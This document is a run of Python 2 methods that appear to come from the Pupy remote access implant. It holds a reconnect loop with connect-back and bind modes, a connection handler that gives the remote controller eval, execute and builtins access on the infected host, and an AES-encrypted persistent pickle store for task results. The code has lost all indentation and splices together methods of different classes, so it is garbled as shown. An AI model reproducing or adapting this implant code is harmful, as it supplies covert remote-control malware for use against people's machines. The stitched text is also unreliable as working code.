def on_disconnect(self):
try:
if self.client.terminated:
return
for cleanup in self.exposed_cleanups:
try:
cleanup()
except Exception as e:
pupy.remote_error('Disconnect/cleanup: {}', e)
self.exposed_cleanups = []
finally:
try:
self._conn.close()
except Exception as e:
pupy.remote_error('Disconnect/close: {}', e)
if os.name == 'posix':
try:
for _ in xrange(1024):
if not os.waitpid(-1, os.WNOHANG):
break
except OSError:
pass
def append(self, result):
if self.results_type in (str, unicode):
self._pstore[self] += result
elif self.results_type == list:
self._pstore[self].append(result)
elif self.results_type == set:
self._pstore[self].add(result)
elif self.results_type == dict:
self._pstore[self][result[0]] = result[1]
else:
raise TypeError('Unknown results type: {}'.format(
self.results_type))
fire_event = False
if not self._dirty:
fire_event = True
self._dirty = True
try:
if fire_event and self._event_id is not None:
self.broadcast_event(self._event_id)
except:
pupy.remote_error('Task (append) error: {}', self.name)
def load(self):
if not os.path.exists(self._pstore_path):
return
data = None
try:
with open(self._pstore_path, 'rb') as pstore:
data = pstore.read()
try:
os.unlink(self._pstore_path)
except:
pupy.remote_error('Pstore (load)')
if not data:
return
data = NewAESCipher(*self._pstore_key).decrypt(data)
data = strip_PKCS7_padding(data)
data = cPickle.loads(data)
except:
pupy.remote_error('Pstore (load)')
return
if type(data) == dict:
self._pstore.update(data)
def stop(self, klass, force=False):
name = klass.__name__
if name in self.tasks:
try:
self.tasks[name].stop()
del self.tasks[name]
except:
pupy.remote_error('Manager (stop): {}', name)
if force:
del self.tasks[name]
def active(self):
if self._stopped is None:
return False
try:
return not self._stopped.is_set()
except:
pupy.remote_error('Task (active) error: {}', self.name)
return False
def create(self, klass, *args, **kwargs):
name = klass.__name__
if name not in self.tasks:
try:
task = klass(self, *args, **kwargs)
task.start()
self.tasks[name] = task
return task
except:
pupy.remote_error('Manager (create): {}', name)
def run(self):
pupy.dprint('Task {} started', self.__class__.__name__)
try:
self.task()
except:
pupy.remote_error('Task (run) error: {}', self.name)
finally:
pupy.dprint('Task {} completed', self.__class__.__name__)
if self._stopped:
self._stopped.set()
def event(self, event):
for task in self.tasks.itervalues():
try:
task.event(event)
except:
pupy.remote_error('Manager (event): {} evt={}', task.name,
event)
if event == self.TERMINATE:
for task in self.tasks.itervalues():
try:
task.stop()
except:
pupy.remote_error('Manager (terminate): {} evt={}',
task.name, event)
self.pstore.store()
def store(self):
if not self._pstore:
return
pstore_dir = os.path.dirname(self._pstore_path)
try:
if not os.path.isdir(pstore_dir):
os.makedirs(pstore_dir)
with open(self._pstore_path, 'w+b') as pstore:
data = cPickle.dumps(self._pstore)
data = append_PKCS7_padding(data)
data = NewAESCipher(*self._pstore_key).encrypt(data)
pstore.write(data)
except:
pupy.remote_error('Pstore (store)')
return
def run(self):
while not self.terminated:
try:
self._iterate_launcher()
except Exception as e:
pupy.remote_error('Launcher: {}', e)
if type(e) == SystemExit:
self.terminated = True
finally:
if not self.terminated:
sleep_secs = self._get_next_wait()
logger.info('Attempt %d - reconnect in %d seconds...',
self._attempt, sleep_secs)
time.sleep(sleep_secs)
self._attempt += 1
def on_connect(self):
self.exposed_namespace = {}
self.exposed_cleanups = []
self._conn._config.update(REVERSE_SLAVE_CONF)
infos_buffer = Buffer()
infos = self.exposed_get_infos()
try:
umsgpack.dump(infos, infos_buffer, ext_handlers=MSG_TYPES_PACK)
except Exception as e:
pupy.remote_error('on_connect failed: {}; infos={}', e, infos)
self._conn.root.initialize_v1(self.exposed_namespace, pupy.namespace,
__import__('__builtin__'),
self.exposed_register_cleanup,
self.exposed_unregister_cleanup,
self.exposed_obtain_call,
self.exposed_exit, self.exposed_eval,
self.exposed_execute,
__import__('pupyimporter'), infos_buffer)
def _iterate_launcher(self):
stream = None
for ret in self._launcher.iterate():
logger.debug('Operation state: Terminated = %s', self.terminated)
if self.terminated:
logger.warning('Loop terminated')
break
logger.debug('Acquire launcher: %s', ret)
try:
if isinstance(ret, tuple): # bind payload
server_class, port, address, authenticator, stream, transport, transport_kwargs = ret
self.set_connection_info(
server_class(
self._bind_service,
port=port,
hostname=address,
authenticator=authenticator,
stream=stream,
transport=transport,
transport_kwargs=transport_kwargs,
pupy_srv=None,
))
self._connection.start()
else: # connect payload
stream = ret
self.set_connection_info(
PupyConnection(None,
self._connect_service,
PupyChannel(stream),
config={},
ping=stream.KEEP_ALIVE_REQUIRED))
self._connection.init()
self._connection.loop()
self._attempt = 0
except SystemExit:
raise
except EOFError:
pass
except Exception as e:
pupy.remote_error('Iterate launcher: {}', e)
finally:
logger.debug('Launcher completed')
self.reset_connection_info()
if stream is not None:
try:
stream.close()
except:
pass
if self.terminated:
break
